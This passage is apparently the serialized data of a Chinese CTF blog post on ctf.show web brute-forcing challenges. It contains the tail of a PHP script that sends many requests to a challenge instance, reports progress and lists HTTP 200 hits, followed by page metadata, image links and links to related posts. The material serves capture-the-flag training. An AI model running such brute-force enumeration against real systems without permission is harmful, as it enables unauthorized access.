strpos($body, '容器已过期') !== false) { $expired = true; break 2; }\n    if ($code !== 302) $hits[$key] = [$code, $body];   \u002F\u002F 200\u002F403\u002F404都记下来, 但重点是200\n  }\n  if ($done % 640 === 0) { echo \"[进度] $done\u002F\" . count($tasks) . $nl; if (php_sapi_name()!='cli') flush(); }\n}\nif ($expired) { echo \"!!! 实例中途过期, 回ctf.show重开, 改\\$base再跑 !!!\" . $nl; }\n\necho \"===== 结局 ===== 扫完$done\" . $nl;\nforeach ($hits as $key => $h) {\n  $mark = ($h[0] === 200) ? '  \u003C== 200 命中! 正文: ' . trim(strip_tags(substr($h[1], 0, 80))) : '';\n  echo \"[$key]  HTTP {$h[0]}$mark\" . $nl;\n}\n\n",[28,816,814],{"__ignoreMap":286},[17,818,819],{},[20,820],{"alt":821,"src":822},"image-20261029152730432","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261029152730432.png",[17,824,825],{},"最终结果",{"title":286,"searchDepth":827,"depth":827,"links":828},4,[829,839,840,847,853,863,864,867],{"id":15,"depth":830,"text":15,"children":831},2,[832,834,835,836,837,838],{"id":100,"depth":833,"text":101},3,{"id":125,"depth":833,"text":126},{"id":138,"depth":833,"text":139},{"id":155,"depth":833,"text":155},{"id":180,"depth":833,"text":181},{"id":222,"depth":833,"text":223},{"id":249,"depth":830,"text":249},{"id":266,"depth":830,"text":266,"children":841},[842,843,846],{"id":278,"depth":833,"text":278},{"id":291,"depth":833,"text":292,"children":844},[845],{"id":312,"depth":827,"text":312},{"id":335,"depth":833,"text":335},{"id":394,"depth":830,"text":394,"children":848},[849],{"id":403,"depth":833,"text":278,"children":850},[851,852],{"id":412,"depth":827,"text":413},{"id":419,"depth":827,"text":420},{"id":464,"depth":830,"text":465,"children":854},[855,856,857,862],{"id":483,"depth":833,"text":484},{"id":545,"depth":833,"text":546},{"id":591,"depth":833,"text":592,"children":858},[859,860,861],{"id":604,"depth":827,"text":604},{"id":617,"depth":827,"text":617},{"id":625,"depth":827,"text":626},{"id":632,"depth":833,"text":632},{"id":696,"depth":830,"text":696},{"id":716,"depth":830,"text":716,"children":865},[866],{"id":747,"depth":833,"text":748},{"id":791,"depth":830,"text":791},[869],"web","2026-10-25 01:15:00","web-wp",false,"md","\u002Fimages\u002Fbaopo\u002F1.jpg",{"slots":876},{},true,"\u002F2026\u002Fctfshow-web-baopo",null,{"text":881,"minutes":882,"time":883,"words":884},"20 min read",19.56,1173600,3912,{"title":5,"description":871},{"loc":878,"images":887},[888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928],{"loc":23},{"loc":41},{"loc":50},{"loc":59},{"loc":72},{"loc":84},{"loc":96},{"loc":113},{"loc":122},{"loc":164},{"loc":170},{"loc":190},{"loc":207},{"loc":216},{"loc":235},{"loc":244},{"loc":258},{"loc":272},{"loc":341},{"loc":371},{"loc":380},{"loc":386},{"loc":400},{"loc":435},{"loc":450},{"loc":459},{"loc":471},{"loc":643},{"loc":652},{"loc":674},{"loc":691},{"loc":705},{"loc":711},{"loc":722},{"loc":734},{"loc":743},{"loc":768},{"loc":777},{"loc":786},{"loc":797},{"loc":822},"posts\u002F2026\u002Fctfshow-web-爆破",[869,931],"爆破","tech","2026-10-25 00:00:00","lyD4Dx899pi6mj03HXB3BvSTdzqENOK6FXfD2Lwpq44",[936,941],{"title":937,"path":938,"stem":939,"date":940,"type":932,"children":-1},"ctfshow-web-信息搜集","\u002F2026\u002Fctfshow-web","posts\u002F2026\u002Fctfshow-web","2026-10-20 23:09:00",{"title":942,"path":943,"stem":944,"date":945,"type":932,"children":-1},"ctfshow-web-命令执行","\u002F2026\u002Fctfshow-web-command-exec","posts\u002F2026\u002Fctfshow-命令执行","2026-11-01 10:15:00",1793524344821]